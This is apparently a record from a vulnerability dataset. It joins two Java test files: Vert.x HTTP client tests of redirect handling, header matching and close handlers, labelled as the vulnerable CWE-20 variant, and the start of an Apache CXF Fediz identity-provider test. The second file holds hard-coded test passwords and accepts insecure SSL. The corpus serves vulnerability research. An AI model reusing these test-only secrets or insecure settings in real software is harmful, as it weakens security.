resp.end();
}
latch.countDown();
}
body.appendBuffer(buff);
});
req.endHandler(v -> {
assertEquals(expected, body);
});
} else {
req.response().end();
}
});
startServer();
AtomicBoolean called = new AtomicBoolean();
HttpClientRequest req = client.put(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(200, resp.statusCode());
testComplete();
}).setFollowRedirects(true)
.exceptionHandler(err -> {
if (expectFail) {
if (called.compareAndSet(false, true)) {
testComplete();
}
} else {
fail(err);
}
})
.setChunked(true)
.write(buff1);
awaitLatch(latch);
// Wait so we end the request while having received the server response (but we can't be notified)
if (!expectFail) {
Thread.sleep(500);
req.end(buff2);
}
await();
}
@Test
public void testFollowRedirectSendHeadThenBody() throws Exception {
Buffer expected = Buffer.buffer(TestUtils.randomAlphaString(2048));
AtomicBoolean redirected = new AtomicBoolean();
server.requestHandler(req -> {
if (redirected.compareAndSet(false, true)) {
assertEquals(HttpMethod.PUT, req.method());
req.bodyHandler(body -> {
assertEquals(body, expected);
req.response().setStatusCode(303).putHeader(HttpHeaders.LOCATION, "/whatever").end();
});
} else {
assertEquals(HttpMethod.GET, req.method());
req.response().end();
}
});
startServer();
HttpClientRequest req = client.put(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(200, resp.statusCode());
testComplete();
}).setFollowRedirects(true);
req.putHeader("Content-Length", "" + expected.length());
req.exceptionHandler(this::fail);
req.sendHead(v -> {
req.end(expected);
});
await();
}
@Test
public void testFollowRedirectLimit() throws Exception {
AtomicInteger redirects = new AtomicInteger();
server.requestHandler(req -> {
int val = redirects.incrementAndGet();
if (val > 16) {
fail();
} else {
String scheme = createBaseServerOptions().isSsl() ? "https" : "http";
req.response().setStatusCode(301).putHeader(HttpHeaders.LOCATION, scheme + "://localhost:8080/otherpath").end();
}
});
startServer();
client.get(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(16, redirects.get());
assertEquals(301, resp.statusCode());
assertEquals("/otherpath", resp.request().path());
testComplete();
}).setFollowRedirects(true).end();
await();
}
@Test
public void testFollowRedirectPropagatesTimeout() throws Exception {
AtomicInteger redirections = new AtomicInteger();
server.requestHandler(req -> {
switch (redirections.getAndIncrement()) {
case 0:
String scheme = createBaseServerOptions().isSsl() ? "https" : "http";
req.response().setStatusCode(307).putHeader(HttpHeaders.LOCATION, scheme + "://localhost:8080/whatever").end();
break;
}
});
startServer();
AtomicBoolean done = new AtomicBoolean();
client.get(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
fail();
}).setFollowRedirects(true)
.exceptionHandler(err -> {
if (done.compareAndSet(false, true)) {
assertEquals(2, redirections.get());
testComplete();
}
})
.setTimeout(500).end();
await();
}
@Test
public void testFollowRedirectHost() throws Exception {
String scheme = createBaseClientOptions().isSsl() ? "https" : "http";
waitFor(2);
HttpServerOptions options = createBaseServerOptions();
int port = options.getPort() + 1;
options.setPort(port);
AtomicInteger redirects = new AtomicInteger();
server.requestHandler(req -> {
redirects.incrementAndGet();
req.response().setStatusCode(301).putHeader(HttpHeaders.LOCATION, scheme + "://localhost:" + port + "/whatever").end();
});
startServer();
HttpServer server2 = vertx.createHttpServer(options);
server2.requestHandler(req -> {
assertEquals(1, redirects.get());
assertEquals(scheme + "://localhost:" + port + "/whatever", req.absoluteURI());
req.response().end();
complete();
});
startServer(server2);
client.get(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(scheme + "://localhost:" + port + "/whatever", resp.request().absoluteURI());
complete();
}).setFollowRedirects(true).setHost("localhost:" + options.getPort()).end();
await();
}
@Test
public void testFollowRedirectWithCustomHandler() throws Exception {
String scheme = createBaseClientOptions().isSsl() ? "https" : "http";
waitFor(2);
HttpServerOptions options = createBaseServerOptions();
int port = options.getPort() + 1;
options.setPort(port);
AtomicInteger redirects = new AtomicInteger();
server.requestHandler(req -> {
redirects.incrementAndGet();
req.response().setStatusCode(301).putHeader(HttpHeaders.LOCATION, scheme + "://localhost:" + port + "/whatever").end();
});
startServer();
HttpServer server2 = vertx.createHttpServer(options);
server2.requestHandler(req -> {
assertEquals(1, redirects.get());
assertEquals(scheme + "://localhost:" + port + "/custom", req.absoluteURI());
req.response().end();
complete();
});
startServer(server2);
client.redirectHandler(resp -> {
Future<HttpClientRequest> fut = Future.future();
vertx.setTimer(25, id -> {
HttpClientRequest req = client.getAbs(scheme + "://localhost:" + port + "/custom");
req.putHeader("foo", "foo_another");
req.setHost("localhost:" + port);
fut.complete(req);
});
return fut;
});
client.get(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(scheme + "://localhost:" + port + "/custom", resp.request().absoluteURI());
complete();
}).setFollowRedirects(true).putHeader("foo", "foo_value").setHost("localhost:" + options.getPort()).end();
await();
}
@Test
public void testDefaultRedirectHandler() throws Exception {
testFoo("http://example.com", "http://example.com");
testFoo("http://example.com/somepath", "http://example.com/somepath");
testFoo("http://example.com:8000", "http://example.com:8000");
testFoo("http://example.com:8000/somepath", "http://example.com:8000/somepath");
testFoo("https://example.com", "https://example.com");
testFoo("https://example.com/somepath", "https://example.com/somepath");
testFoo("https://example.com:8000", "https://example.com:8000");
testFoo("https://example.com:8000/somepath", "https://example.com:8000/somepath");
testFoo("whatever://example.com", null);
testFoo("http://", null);
testFoo("http://:8080/somepath", null);
}
private void testFoo(String location, String expected) throws Exception {
int status = 301;
Map<String, String> headers = Collections.singletonMap("Location", location);
HttpMethod method = HttpMethod.GET;
String baseURI = "https://localhost:8080";
class MockReq implements HttpClientRequest {
public HttpClientRequest exceptionHandler(Handler<Throwable> handler) { throw new UnsupportedOperationException(); }
public HttpClientRequest write(Buffer data) { throw new UnsupportedOperationException(); }
public HttpClientRequest setWriteQueueMaxSize(int maxSize) { throw new UnsupportedOperationException(); }
public HttpClientRequest drainHandler(Handler<Void> handler) { throw new UnsupportedOperationException(); }
public HttpClientRequest handler(Handler<HttpClientResponse> handler) { throw new UnsupportedOperationException(); }
public HttpClientRequest pause() { throw new UnsupportedOperationException(); }
public HttpClientRequest resume() { throw new UnsupportedOperationException(); }
public HttpClientRequest endHandler(Handler<Void> endHandler) { throw new UnsupportedOperationException(); }
public HttpClientRequest setFollowRedirects(boolean followRedirects) { throw new UnsupportedOperationException(); }
public HttpClientRequest setChunked(boolean chunked) { throw new UnsupportedOperationException(); }
public boolean isChunked() { return false; }
public HttpMethod method() { return method; }
public String getRawMethod() { throw new UnsupportedOperationException(); }
public HttpClientRequest setRawMethod(String method) { throw new UnsupportedOperationException(); }
public String absoluteURI() { return baseURI; }
public String uri() { throw new UnsupportedOperationException(); }
public String path() { throw new UnsupportedOperationException(); }
public String query() { throw new UnsupportedOperationException(); }
public HttpClientRequest setHost(String host) { throw new UnsupportedOperationException(); }
public String getHost() { throw new UnsupportedOperationException(); }
public MultiMap headers() { throw new UnsupportedOperationException(); }
public HttpClientRequest putHeader(String name, String value) { throw new UnsupportedOperationException(); }
public HttpClientRequest putHeader(CharSequence name, CharSequence value) { throw new UnsupportedOperationException(); }
public HttpClientRequest putHeader(String name, Iterable<String> values) { throw new UnsupportedOperationException(); }
public HttpClientRequest putHeader(CharSequence name, Iterable<CharSequence> values) { throw new UnsupportedOperationException(); }
public HttpClientRequest write(String chunk) { throw new UnsupportedOperationException(); }
public HttpClientRequest write(String chunk, String enc) { throw new UnsupportedOperationException(); }
public HttpClientRequest continueHandler(@Nullable Handler<Void> handler) { throw new UnsupportedOperationException(); }
public HttpClientRequest sendHead() { throw new UnsupportedOperationException(); }
public HttpClientRequest sendHead(Handler<HttpVersion> completionHandler) { throw new UnsupportedOperationException(); }
public void end(String chunk) { throw new UnsupportedOperationException(); }
public void end(String chunk, String enc) { throw new UnsupportedOperationException(); }
public void end(Buffer chunk) { throw new UnsupportedOperationException(); }
public void end() { throw new UnsupportedOperationException(); }
public HttpClientRequest setTimeout(long timeoutMs) { throw new UnsupportedOperationException(); }
public HttpClientRequest pushHandler(Handler<HttpClientRequest> handler) { throw new UnsupportedOperationException(); }
public boolean reset(long code) { return false; }
public HttpConnection connection() { throw new UnsupportedOperationException(); }
public HttpClientRequest connectionHandler(@Nullable Handler<HttpConnection> handler) { throw new UnsupportedOperationException(); }
public HttpClientRequest writeCustomFrame(int type, int flags, Buffer payload) { throw new UnsupportedOperationException(); }
public boolean writeQueueFull() { throw new UnsupportedOperationException(); }
}
HttpClientRequest req = new MockReq();
class MockResp implements HttpClientResponse {
public HttpClientResponse resume() { throw new UnsupportedOperationException(); }
public HttpClientResponse exceptionHandler(Handler<Throwable> handler) { throw new UnsupportedOperationException(); }
public HttpClientResponse handler(Handler<Buffer> handler) { throw new UnsupportedOperationException(); }
public HttpClientResponse pause() { throw new UnsupportedOperationException(); }
public HttpClientResponse endHandler(Handler<Void> endHandler) { throw new UnsupportedOperationException(); }
public HttpVersion version() { throw new UnsupportedOperationException(); }
public int statusCode() { return status; }
public String statusMessage() { throw new UnsupportedOperationException(); }
public MultiMap headers() { throw new UnsupportedOperationException(); }
public String getHeader(String headerName) { return headers.get(headerName); }
public String getHeader(CharSequence headerName) { return getHeader(headerName.toString()); }
public String getTrailer(String trailerName) { throw new UnsupportedOperationException(); }
public MultiMap trailers() { throw new UnsupportedOperationException(); }
public List<String> cookies() { throw new UnsupportedOperationException(); }
public HttpClientResponse bodyHandler(Handler<Buffer> bodyHandler) { throw new UnsupportedOperationException(); }
public HttpClientResponse customFrameHandler(Handler<HttpFrame> handler) { throw new UnsupportedOperationException(); }
public NetSocket netSocket() { throw new UnsupportedOperationException(); }
public HttpClientRequest request() { return req; }
}
MockResp resp = new MockResp();
Function<HttpClientResponse, Future<HttpClientRequest>> handler = client.redirectHandler();
Future<HttpClientRequest> redirection = handler.apply(resp);
if (expected != null) {
assertEquals(location, redirection.result().absoluteURI());
} else {
assertTrue(redirection == null || redirection.failed());
}
}
@Test
public void testFollowRedirectEncodedParams() throws Exception {
String value1 = "\ud55c\uae00", value2 = "A B+C", value3 = "123 \u20ac";
server.requestHandler(req -> {
switch (req.path()) {
case "/first/call/from/client":
StringBuilder location = null;
try {
location = new StringBuilder()
.append(req.scheme()).append("://").append(DEFAULT_HTTP_HOST).append(':').append(DEFAULT_HTTP_PORT)
.append("/redirected/from/client?")
.append("encoded1=").append(URLEncoder.encode(value1, "UTF-8")).append('&')
.append("encoded2=").append(URLEncoder.encode(value2, "UTF-8")).append('&')
.append("encoded3=").append(URLEncoder.encode(value3, "UTF-8"));
} catch (UnsupportedEncodingException e) {
fail(e);
}
req.response()
.setStatusCode(302)
.putHeader("location", location.toString())
.end();
break;
case "/redirected/from/client":
assertEquals(value1, req.params().get("encoded1"));
assertEquals(value2, req.params().get("encoded2"));
assertEquals(value3, req.params().get("encoded3"));
req.response().end();
break;
default:
fail("Unknown path: " + req.path());
}
});
startServer();
client.get(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/first/call/from/client", resp -> {
assertEquals(200, resp.statusCode());
testComplete();
}).setFollowRedirects(true).end();
await();
}
@Test
public void testServerResponseCloseHandlerNotHoldingLock() throws Exception {
server.requestHandler(req -> {
req.response().closeHandler(v -> {
assertFalse(Thread.holdsLock(req.connection()));
testComplete();
});
req.response().setChunked(true).write("hello");
});
startServer();
client.getNow(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(200, resp.statusCode());
resp.request().connection().close();
});
await();
}
@Test
public void testCloseHandlerWhenConnectionEnds() throws Exception {
server.requestHandler(req -> {
req.response().endHandler(v -> {
testComplete();
});
req.response().end("some-data");
});
startServer();
client.getNow(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
resp.handler(v -> {
resp.request().connection().close();
});
});
await();
}
@Test
public void testCloseHandlerWhenConnectionClose() throws Exception {
server.requestHandler(req -> {
HttpServerResponse resp = req.response();
resp.setChunked(true).write("some-data");
resp.closeHandler(v -> {
checkHttpServerResponse(resp);
testComplete();
});
});
startServer();
client.getNow(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
resp.handler(v -> {
resp.request().connection().close();
});
});
await();
}
@Test
public abstract void testCloseHandlerNotCalledWhenConnectionClosedAfterEnd() throws Exception;
protected void testCloseHandlerNotCalledWhenConnectionClosedAfterEnd(int expected) throws Exception {
AtomicInteger closeCount = new AtomicInteger();
AtomicInteger endCount = new AtomicInteger();
server.requestHandler(req -> {
req.response().closeHandler(v -> {
closeCount.incrementAndGet();
});
req.response().endHandler(v -> {
endCount.incrementAndGet();
});
req.connection().closeHandler(v -> {
assertEquals(expected, closeCount.get());
assertEquals(1, endCount.get());
testComplete();
});
req.response().end("some-data");
});
startServer();
client.getNow(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
resp.endHandler(v -> {
resp.request().connection().close();
});
});
await();
}
private TestLoggerFactory testLogging() throws Exception {
return TestUtils.testLogging(() -> {
try {
server.requestHandler(req -> {
req.response().end();
});
startServer();
client.getNow(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
testComplete();
});
await();
} catch (Exception e) {
throw new RuntimeException(e);
}
});
}
@Test
public void testClientDecompressionError() throws Exception {
waitFor(2);
server.requestHandler(req -> {
req.response()
.putHeader("Content-Encoding", "gzip")
.end("long response with mismatched encoding causes connection leaks");
});
startServer();
client.close();
client = vertx.createHttpClient(createBaseClientOptions().setTryUseCompression(true));
client.get(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.exceptionHandler(err -> {
if (err instanceof Http2Exception) {
complete();
// Connection is not closed for HTTP/2 only the streams so we need to force it
resp.request().connection().close();
} else if (err instanceof DecompressionException) {
complete();
}
});
}).connectionHandler(conn -> {
conn.closeHandler(v -> {
complete();
});
}).end();
await();
}
@Test
public void testContainsValueString() {
server.requestHandler(req -> {
assertTrue(req.headers().contains("Foo", "foo", false));
assertFalse(req.headers().contains("Foo", "fOo", false));
req.response().putHeader("quux", "quux");
req.response().end();
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertTrue(resp.headers().contains("Quux", "quux", false));
assertFalse(resp.headers().contains("Quux", "quUx", false));
testComplete();
});
req.putHeader("foo", "foo");
req.end();
}));
await();
}
@Test
public void testContainsValueStringIgnoreCase() {
server.requestHandler(req -> {
assertTrue(req.headers().contains("Foo", "foo", true));
assertTrue(req.headers().contains("Foo", "fOo", true));
req.response().putHeader("quux", "quux");
req.response().end();
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertTrue(resp.headers().contains("Quux", "quux", true));
assertTrue(resp.headers().contains("Quux", "quUx", true));
testComplete();
});
req.putHeader("foo", "foo");
req.end();
}));
await();
}
@Test
public void testContainsValueCharSequence() {
CharSequence Foo = HttpHeaders.createOptimized("Foo");
CharSequence foo = HttpHeaders.createOptimized("foo");
CharSequence fOo = HttpHeaders.createOptimized("fOo");
CharSequence Quux = HttpHeaders.createOptimized("Quux");
CharSequence quux = HttpHeaders.createOptimized("quux");
CharSequence quUx = HttpHeaders.createOptimized("quUx");
server.requestHandler(req -> {
assertTrue(req.headers().contains(Foo, foo, false));
assertFalse(req.headers().contains(Foo, fOo, false));
req.response().putHeader(quux, quux);
req.response().end();
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertTrue(resp.headers().contains(Quux, quux, false));
assertFalse(resp.headers().contains(Quux, quUx, false));
testComplete();
});
req.putHeader(foo, foo);
req.end();
}));
await();
}
@Test
public void testContainsValueCharSequenceIgnoreCase() {
CharSequence Foo = HttpHeaders.createOptimized("Foo");
CharSequence foo = HttpHeaders.createOptimized("foo");
CharSequence fOo = HttpHeaders.createOptimized("fOo");
CharSequence Quux = HttpHeaders.createOptimized("Quux");
CharSequence quux = HttpHeaders.createOptimized("quux");
CharSequence quUx = HttpHeaders.createOptimized("quUx");
server.requestHandler(req -> {
assertTrue(req.headers().contains(Foo, foo, true));
assertTrue(req.headers().contains(Foo, fOo, true));
req.response().putHeader(quux, quux);
req.response().end();
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertTrue(resp.headers().contains(Quux, quux, true));
assertTrue(resp.headers().contains(Quux, quUx, true));
testComplete();
});
req.putHeader(foo, foo);
req.end();
}));
await();
}
@Test
public void testBytesReadRequest() throws Exception {
int length = 2048;
Buffer expected = Buffer.buffer(TestUtils.randomAlphaString(length));;
server.requestHandler(req -> {
req.bodyHandler(buffer -> {
assertEquals(req.bytesRead(), length);
req.response().end();
});
});
startServer();
client.post(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.bodyHandler(buff -> {
testComplete();
});
}).exceptionHandler(this::fail)
.putHeader("content-length", String.valueOf(length))
.write(expected)
.end();
await();
}
@Test
public void testClientSynchronousConnectFailures() {
System.setProperty("vertx.disableDnsResolver", "true");
Vertx vertx = Vertx.vertx(new VertxOptions().setAddressResolverOptions(new AddressResolverOptions().setQueryTimeout(100)));
try {
int poolSize = 2;
HttpClient client = vertx.createHttpClient(new HttpClientOptions().setMaxPoolSize(poolSize));
AtomicInteger failures = new AtomicInteger();
vertx.runOnContext(v -> {
for (int i = 0; i < (poolSize + 1); i++) {
HttpClientRequest clientRequest = client.getAbs("http://invalid-host-name.foo.bar", resp -> fail());
AtomicBoolean f = new AtomicBoolean();
clientRequest.exceptionHandler(e -> {
if (f.compareAndSet(false, true)) {
if (failures.incrementAndGet() == poolSize + 1) {
testComplete();
}
}
});
clientRequest.end();
}
});
await();
} finally {
vertx.close();
System.setProperty("vertx.disableDnsResolver", "false");
}
}
@Test
public void testClientConnectInvalidPort() {
client.get(-1, "localhost", "/someuri", resp -> {
fail();
}).exceptionHandler(err -> {
assertEquals(err.getClass(), IllegalArgumentException.class);
assertEquals(err.getMessage(), "port p must be in range 0 <= p <= 65535");
testComplete();
}).end();
await();
}
protected File setupFile(String fileName, String content) throws Exception {
File file = new File(testDir, fileName);
if (file.exists()) {
file.delete();
}
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file), "UTF-8"));
out.write(content);
out.close();
return file;
}
protected static String generateQueryString(Map<String, String> params, char delim) {
StringBuilder sb = new StringBuilder();
int count = 0;
for (Map.Entry<String, String> param : params.entrySet()) {
sb.append(param.getKey()).append("=").append(param.getValue());
if (++count != params.size()) {
sb.append(delim);
}
}
return sb.toString();
}
protected static Map<String, String> genMap(int num) {
Map<String, String> map = new HashMap<>();
for (int i = 0; i < num; i++) {
String key;
do {
key = TestUtils.randomAlphaString(1 + (int) ((19) * Math.random())).toLowerCase();
} while (map.containsKey(key));
map.put(key, TestUtils.randomAlphaString(1 + (int) ((19) * Math.random())));
}
return map;
}
protected static MultiMap getHeaders(int num) {
Map<String, String> map = genMap(num);
MultiMap headers = new HeadersAdaptor(new DefaultHttpHeaders());
for (Map.Entry<String, String> entry : map.entrySet()) {
headers.add(entry.getKey(), entry.getValue());
}
return headers;
}
/*
@Test
public void testReset() throws Exception {
CountDownLatch latch = new CountDownLatch(1);
server.requestHandler(req -> {
req.exceptionHandler(err -> {
System.out.println("GOT ERR");
});
req.endHandler(v -> {
System.out.println("GOT END");
latch.countDown();
});
});
startServer();
HttpClientRequest req = client.get(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {});
req.end();
awaitLatch(latch);
req.reset();
await();
}
*/
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_195_6
|
crossvul-java_data_good_657_1
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.cxf.fediz.systests.idp;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.net.URLEncoder;
import java.util.Base64;
import javax.servlet.ServletException;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import com.gargoylesoftware.htmlunit.CookieManager;
import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;
import com.gargoylesoftware.htmlunit.WebClient;
import com.gargoylesoftware.htmlunit.html.DomElement;
import com.gargoylesoftware.htmlunit.html.DomNodeList;
import com.gargoylesoftware.htmlunit.html.HtmlForm;
import com.gargoylesoftware.htmlunit.html.HtmlPage;
import com.gargoylesoftware.htmlunit.html.HtmlSubmitInput;
import com.gargoylesoftware.htmlunit.xml.XmlPage;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.startup.Tomcat;
import org.apache.commons.io.IOUtils;
import org.apache.cxf.fediz.core.FederationConstants;
import org.apache.cxf.fediz.core.util.DOMUtils;
import org.apache.http.auth.AuthScope;
import org.apache.http.auth.UsernamePasswordCredentials;
import org.apache.wss4j.dom.engine.WSSConfig;
import org.apache.xml.security.keys.KeyInfo;
import org.apache.xml.security.signature.XMLSignature;
import org.junit.AfterClass;
import org.junit.Assert;
import org.junit.BeforeClass;
import org.junit.Test;
/**
* Some tests invoking directly on the IdP
*/
public class IdpTest {
static String idpHttpsPort;
static String rpHttpsPort;
private static Tomcat idpServer;
@BeforeClass
public static void init() throws Exception {
idpHttpsPort = System.getProperty("idp.https.port");
Assert.assertNotNull("Property 'idp.https.port' null", idpHttpsPort);
rpHttpsPort = System.getProperty("rp.https.port");
Assert.assertNotNull("Property 'rp.https.port' null", rpHttpsPort);
idpServer = startServer(true, idpHttpsPort);
WSSConfig.init();
}
private static Tomcat startServer(boolean idp, String port)
throws ServletException, LifecycleException, IOException {
Tomcat server = new Tomcat();
server.setPort(0);
String currentDir = new File(".").getCanonicalPath();
String baseDir = currentDir + File.separator + "target";
server.setBaseDir(baseDir);
server.getHost().setAppBase("tomcat/idp/webapps");
server.getHost().setAutoDeploy(true);
server.getHost().setDeployOnStartup(true);
Connector httpsConnector = new Connector();
httpsConnector.setPort(Integer.parseInt(port));
httpsConnector.setSecure(true);
httpsConnector.setScheme("https");
httpsConnector.setAttribute("keyAlias", "mytomidpkey");
httpsConnector.setAttribute("keystorePass", "tompass");
httpsConnector.setAttribute("keystoreFile", "test-classes/server.jks");
httpsConnector.setAttribute("truststorePass", "tompass");
httpsConnector.setAttribute("truststoreFile", "test-classes/server.jks");
httpsConnector.setAttribute("clientAuth", "want");
// httpsConnector.setAttribute("clientAuth", "false");
httpsConnector.setAttribute("sslProtocol", "TLS");
httpsConnector.setAttribute("SSLEnabled", true);
server.getService().addConnector(httpsConnector);
File stsWebapp = new File(baseDir + File.separator + server.getHost().getAppBase(), "fediz-idp-sts");
server.addWebapp("/fediz-idp-sts", stsWebapp.getAbsolutePath());
File idpWebapp = new File(baseDir + File.separator + server.getHost().getAppBase(), "fediz-idp");
server.addWebapp("/fediz-idp", idpWebapp.getAbsolutePath());
server.start();
return server;
}
@AfterClass
public static void cleanup() {
shutdownServer(idpServer);
}
private static void shutdownServer(Tomcat server) {
try {
if (server != null && server.getServer() != null
&& server.getServer().getState() != LifecycleState.DESTROYED) {
if (server.getServer().getState() != LifecycleState.STOPPED) {
server.stop();
}
server.destroy();
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getIdpHttpsPort() {
return idpHttpsPort;
}
public String getRpHttpsPort() {
return rpHttpsPort;
}
public String getServletContextName() {
return "fedizhelloworld";
}
@org.junit.Test
public void testSuccessfulInvokeOnIdP() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
final HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
// Parse the form to get the token (wresult)
DomNodeList<DomElement> results = idpPage.getElementsByTagName("input");
String wresult = null;
for (DomElement result : results) {
if ("wresult".equals(result.getAttributeNS(null, "name"))) {
wresult = result.getAttributeNS(null, "value");
break;
}
}
Assert.assertNotNull(wresult);
webClient.close();
}
@org.junit.Test
public void testSuccessfulSSOInvokeOnIdP() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.addRequestHeader("Authorization", "Basic "
+ Base64.getEncoder().encodeToString((user + ":" + password).getBytes()));
//
// First invocation
//
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
// Parse the form to get the token (wresult)
DomNodeList<DomElement> results = idpPage.getElementsByTagName("input");
String wresult = null;
for (DomElement result : results) {
if ("wresult".equals(result.getAttributeNS(null, "name"))) {
wresult = result.getAttributeNS(null, "value");
break;
}
}
Assert.assertNotNull(wresult);
//
// Second invocation - change the credentials to make sure the session is set up correctly
//
webClient.removeRequestHeader("Authorization");
webClient.addRequestHeader("Authorization", "Basic "
+ Base64.getEncoder().encodeToString(("mallory" + ":" + password).getBytes()));
webClient.getOptions().setJavaScriptEnabled(false);
idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
// Parse the form to get the token (wresult)
results = idpPage.getElementsByTagName("input");
wresult = null;
for (DomElement result : results) {
if ("wresult".equals(result.getAttributeNS(null, "name"))) {
wresult = result.getAttributeNS(null, "value");
break;
}
}
Assert.assertNotNull(wresult);
webClient.close();
}
@Test
public void testIdPMetadata() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort()
+ "/fediz-idp/FederationMetadata/2007-06/FederationMetadata.xml";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getOptions().setSSLClientCertificate(
this.getClass().getClassLoader().getResource("client.jks"), "storepass", "jks");
final XmlPage rpPage = webClient.getPage(url);
final String xmlContent = rpPage.asXml();
Assert.assertTrue(xmlContent.startsWith("<md:EntityDescriptor"));
// Now validate the Signature
Document doc = rpPage.getXmlDocument();
doc.getDocumentElement().setIdAttributeNS(null, "ID", true);
Node signatureNode =
DOMUtils.getChild(doc.getDocumentElement(), "Signature");
Assert.assertNotNull(signatureNode);
XMLSignature signature = new XMLSignature((Element)signatureNode, "");
KeyInfo ki = signature.getKeyInfo();
Assert.assertNotNull(ki);
Assert.assertNotNull(ki.getX509Certificate());
Assert.assertTrue(signature.checkSignatureValue(ki.getX509Certificate()));
webClient.close();
}
@Test
public void testIdPMetadataDefault() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort()
+ "/fediz-idp/metadata";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getOptions().setSSLClientCertificate(
this.getClass().getClassLoader().getResource("client.jks"), "storepass", "jks");
final XmlPage rpPage = webClient.getPage(url);
final String xmlContent = rpPage.asXml();
Assert.assertTrue(xmlContent.startsWith("<md:EntityDescriptor"));
// Now validate the Signature
Document doc = rpPage.getXmlDocument();
doc.getDocumentElement().setIdAttributeNS(null, "ID", true);
Node signatureNode =
DOMUtils.getChild(doc.getDocumentElement(), "Signature");
Assert.assertNotNull(signatureNode);
XMLSignature signature = new XMLSignature((Element)signatureNode, "");
KeyInfo ki = signature.getKeyInfo();
Assert.assertNotNull(ki);
Assert.assertNotNull(ki.getX509Certificate());
Assert.assertTrue(signature.checkSignatureValue(ki.getX509Certificate()));
webClient.close();
}
@Test
public void testIdPServiceMetadata() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort()
+ "/fediz-idp/metadata/urn:org:apache:cxf:fediz:idp:realm-B";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getOptions().setSSLClientCertificate(
this.getClass().getClassLoader().getResource("client.jks"), "storepass", "jks");
